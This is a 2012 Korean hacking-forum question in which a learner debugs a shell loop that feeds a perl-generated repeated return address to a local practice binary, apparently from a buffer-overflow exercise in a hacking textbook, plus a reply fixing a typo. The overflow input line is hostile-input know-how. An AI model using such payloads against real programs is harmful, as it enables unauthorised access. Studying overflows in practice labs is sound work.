프로그래밍

 3198, 1/160 회원가입  로그인  
   ghksdl90
   Linux 명령어 만들어보려는데 막히네요;;;

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3445 [복사]


자동으로 숫자를 대입해서 결과값을 출력받으려고 간단하게 짜보기는 했는데 에러만 뱉어내내요....

원하는 결과
$./a.out $(perl -e 'print "\xbf\x84\x04\x08"x10')

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

근데.... 이걸 해보려고 하는데 잘안되는게 있어서 질문드립니다.
Q.1 원래 $(perl -e .....) 와 'perl -e .....' 는 결과 값이 같은 것으로 알고 있습니다. 근데 Linux 2.6.20-15-generic에서는 잘 안되더군요;;;;; (왜이러지... 요즘 나온것에서는 이런거 없이 잘 쓰고 있는데 해킹의 예술? live CD 해보려니 잘 안되내요...)

Q.2
첫번째로 시도해본 명령어 사용 & 결과
$for i in $(seq 0 1 10)
>do
>echo trying $i
>./a.out 'print -e 'print "\xbf\84\x04\x08"x$i''
>done

trying 1

access denide.

trying 2

access denide.

trying 3

access denide.

trying 4

access denide.

trying 5

access denide.

trying 6

access denide.

trying 7

access denide.

trying 8

access denide.

trying 9

access denide.

trying 10

access denide.    //여기에서 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                                       Access Granted.

                                       -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                                       를 원했는데... 그게 안되내요.... 뭐가 문제가 있는건가요???

혹시 구문사용에서 문제가 있는건가요? 고수님들의 답변 기다립니다.


  Hit : 3523     Date : 2012/06/26 10:29



    
cd80 print -e 라고 하셔서 그런거같아요
perl -e
2012/06/27